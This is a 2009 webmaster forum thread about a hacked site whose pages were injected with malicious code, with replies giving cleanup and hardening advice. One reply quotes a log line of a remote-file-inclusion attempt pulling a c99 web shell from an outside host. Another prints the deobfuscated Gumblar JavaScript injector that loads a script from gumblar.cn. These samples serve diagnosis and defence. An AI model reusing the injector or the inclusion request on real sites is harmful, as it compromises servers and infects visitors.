iEntry 10th Anniversary Forum Rules Search
WebProWorld
Register FAQ Calendar Mark Forums Read
Internet Security Discussion Forum This forum is for the discussion of security related issues. If you find a new Phishing scheme, spyware, virus or malicious site - let us know about it. If any of the above found you... here's where you ask for help.

Share Thread: & Tags

Share Thread:

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 05-13-2009, 06:33 PM
WebProWorld Member
 
Join Date: Sep 2005
Location: USWebCity.com
Posts: 52
ee222 RepRank 0
Lightbulb Forum Infected by Virus - A trojan on My Board

Hello,

My forum is running on a hosting copany. My forum and the whole website were infected by virus last week on Friday. Most of the files were infected.

Infected files:

"index.html"
"index.htm"
"index.php"
"xxx.html"
"xxx.tbl"
"xxx.js"
...

All the files were modified by adding some code with the files. Here are the codes.

For the HTML files:

<removed - wige>

For the PHP files:

<removed - wige>

I did clear up(remove the codes form the files) all the files on this Monday and the web works fine, but today the website got the virus again. So, can someone tell me how to remove the virus? I alread scan my PC and it has no virus on it. Today I did clarn up the web site and it seems working fine now. But I am worry about the virus will come back again. Thanks.
__________________
Make A New Website --- USWebCity.com
>> Web Hosting Ratings and Reviews <<

Last edited by wige; 06-04-2009 at 10:40 AM. Reason: Removed the exploit code, it was triggering some users' antivirus software
Reply With Quote
  #2 (permalink)  
Old 05-14-2009, 06:04 PM
WebProWorld Pro
 
Join Date: Feb 2004
Location: Stupid question. At my PC.
Posts: 133
TechEvangelist RepRank 1
Default Re: Forum Infected by Virus - A trojan on My Board

I have seen things like this before. The virus has probably infected the entire server and not just your web site. That may be why it has returned. The hacker may have root access to the server.

The first thing to do is to report it to the hosting company. They need to check the security for your site and their server.

1. Make sure that permissions are set correctly for your web site scripts.

2. Change your access passwords (FTP,cPanel, root) and make sure they are very secure passwords. Do not use dictionary words for your passwords.

3. If you are using open source software or something you purchased, make sure the version is current and check their forums to see if others are having the same problem.

4. If it keeps coming back or the hosting company is not cooperative, find a new hosting company.
__________________
Facts are meaningless. They can be used to prove anything. - Homer Simpson
MySQL Cheatsheet :: Arizona SEO training
Reply With Quote
  #3 (permalink)  
Old 05-14-2009, 06:14 PM
WebProWorld Pro
 
Join Date: May 2008
Location: London, UK
Posts: 109
seopo RepRank 2seopo RepRank 2
Default Re: Forum Infected by Virus - A trojan on My Board

Someone has access to your server. You'll be cleaning twice a week for the forseable.

If your host has yet to deal with it the answer (which is a pain, but you already know) is to change hosts.
Reply With Quote
  #4 (permalink)  
Old 05-14-2009, 06:39 PM
chrisJumbo's Avatar
WebProWorld Veteran
 
Join Date: Oct 2005
Location: California
Posts: 339
chrisJumbo RepRank 3chrisJumbo RepRank 3
Default Re: Forum Infected by Virus - A trojan on My Board

Had the very same problem. Thankfully we had good back-up, so for most of the files just uploaded versions without the script. The blog was harder, because the script was inserted in one of the main processing files. I found that by creating a new blog and comparing files.

I changed all passwords and so far have been free of a re-occurance. I told our host about the problem so they ran some scans as well.
__________________
CD Rates | CD Rates Blog | Banking Online
Reply With Quote
  #5 (permalink)  
Old 05-14-2009, 09:06 PM
WebProWorld Pro
 
Join Date: Jan 2008
Posts: 290
Tech Manager RepRank 1
Default Re: Forum Infected by Virus - A trojan on My Board

This doesn't look like a virus to me, per se. It looks more like you've experienced some cross-site injection attacks; which in essence are hacks. You need to make sure all your directories have the proper permissions and you need to properly validate all the variables inputted into your site.

In your logfiles look for http:// in your queries.

Here is a log example of a slightly similar type of attack. I've added a few spaces to prevent linking.

Quote:
189.81.252.195 - - [14/May/2009:14:07:02 -0500] "GET /product.php?page=http : // wuweizhou . com /cmd/c99.txt? HTTP/1.1" 302 - "-" "Mozilla/3.0 (compatible; Indy Library)"
You should also check with your IT guy to make sure your server is properly configured to prevent such attacks. Make sure your forum is up to date with security patches and, as mentioned previously, validate all user input and take steps to prevent string query exploits.
__________________
I use Country IP Blocks as added security for my networks and servers.
Reply With Quote
  #6 (permalink)  
Old 05-14-2009, 10:20 PM
jganders's Avatar
WebProWorld Member
 
Join Date: Jul 2007
Location: California, USA
Posts: 28
jganders RepRank 0
Default Re: Forum Infected by Virus - A trojan on My Board

The javascript resolves to the following.
The real damage (whatever that may be) is done by a script being called at gumblar dot cn. I dont really want to run the script just to find out what it does.

Code:
var a="ScriptEngine",b="Version()+",j="",u=navigator.userAgent;
if( (u.indexOf("Win")>0) && 
    (u.indexOf("NT 6")<0) && 
    (document.cookie.indexOf("miek=1") < 0) && 
    (typeof(zrvzts) != typeof("A"))) {
    zrvzts="A";
    eval("if(window."+a+") j = j+"+a+"Major"+b+a+"Minor"+b+a+"Build"+b+"j;");
    document.write("<script src=//gumblar.cn/rss/?id="+j+">
    <\/script>");
}
Quote:
Originally Posted by chrisJumbo View Post
Had the very same problem. Thankfully we had good back-up, so for most of the files just uploaded versions without the script. The blog was harder, because the script was inserted in one of the main processing files. I found that by creating a new blog and comparing files.

I changed all passwords and so far have been free of a re-occurance. I told our host about the problem so they ran some scans as well.
Reply With Quote
  #7 (permalink)  
Old 05-15-2009, 03:18 AM
mark3738's Avatar
WebProWorld Member
 
Join Date: Jul 2003
Location: New Zealand
Posts: 26
mark3738 RepRank 1
Default Re: Forum Infected by Virus - A trojan on My Board

We had this problem a few months ago and it was a pain to remove - what you will find is that in every index file this code will eventually be loaded and in every directory you will also probably find a php file with a number or weird name - you can usually remove them with ftp, BUT, the file that causes the most problem is the htaccess file which this hacker script injects into every directory - I had to use shell access to be able to see the htaccess files and manually delete every file as well.

In our case the hosting company initially told us that it was all our fault and nothing to do with them, then after I took the whole website down (including about 300,000 images), cleaned it all out and rebuilt the site using all the latest software upgrades, the hosting company sent out a letter saying how proactive they were and had caught this attack and cleaned it on 23,000 sites they host.

To say the least we were not impressed.

However, contact the hosting company straightaway and tell them, as they may be able to strip the bogus php files and htaccess files quickly for you, else you may have a laborious process removing them all yourself.

Also put your site into maintenance mode if you can else you will begin infecting visitor computers - we also had this and had a warning coming up from Google to say we were not safe to visit, which seriously impacts on profits quite quickly until being reinstated.

Good luck
__________________
Creating affordable website & eCommerce solutions for NZ businesses, clubs and orgs.
http://www.medlicottdesign.orconhosting.net.nz
Reply With Quote
  #8 (permalink)  
Old 05-15-2009, 09:18 AM
WebProWorld Pro
 
Join Date: Feb 2004
Location: Stupid question. At my PC.
Posts: 133
TechEvangelist RepRank 1
Default Re: Forum Infected by Virus - A trojan on My Board

Quote:
Originally Posted by mark3738 View Post
In our case the hosting company initially told us that it was all our fault and nothing to do with them, then after I took the whole website down (including about 300,000 images), cleaned it all out and rebuilt the site using all the latest software upgrades, the hosting company sent out a letter saying how proactive they were and had caught this attack and cleaned it on 23,000 sites they host.
Unfortunately, that is a typical response from many hosting companies. If they really were proactive, they would have put proper security measures in place to prevent the attack on their servers. If the servers are vulnerable, there isn't much that a site owner can do to protect their sites.
__________________
Facts are meaningless. They can be used to prove anything. - Homer Simpson
MySQL Cheatsheet :: Arizona SEO training
Reply With Quote
  #9 (permalink)  
Old 05-16-2009, 06:09 PM
danlefree's Avatar
WebProWorld Pro
 
Join Date: Jun 2005
Location: Seattle
Posts: 255
danlefree RepRank 4danlefree RepRank 4danlefree RepRank 4danlefree RepRank 4
Default Re: Forum Infected by Virus - A trojan on My Board

Most likely vector: outdated software. Make sure you apply any and all updates to all software running on your site.

If you have the ability to disable or aggressively restrict remote file includes and filesystem access within PHP, do so.
__________________
Dan LeFree | Product Manager (Linux VPS Hosting) | Owner/Operator (Web development, marketing)
Reply With Quote
Reply

  WebProWorld > Webmaster, IT and Security Discussion > Internet Security Discussion Forum

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Need help with virus on hosted Invision Power Board Forum noah0295 Internet Security Discussion Forum 0 10-27-2005 09:33 PM
Urgent - a Google search sabotaged with Trojan Horse Virus aperey Internet Security Discussion Forum 10 12-28-2004 10:17 PM
Beckham a new hook for Trojan Horse Virus globalhostinggroup Internet Security Discussion Forum 0 10-14-2004 11:45 AM
Message Forum Board kevyeow Services for Sale/Hire 3 09-25-2004 05:19 PM
Can you help I’m under attack from virus infected junk mail. J&P The Castle Breakroom (General: Any Topic) 44 11-18-2003 11:25 PM


All times are GMT -4. The time now is 03:03 AM.



Search Engine Optimization by vBSEO 3.3.0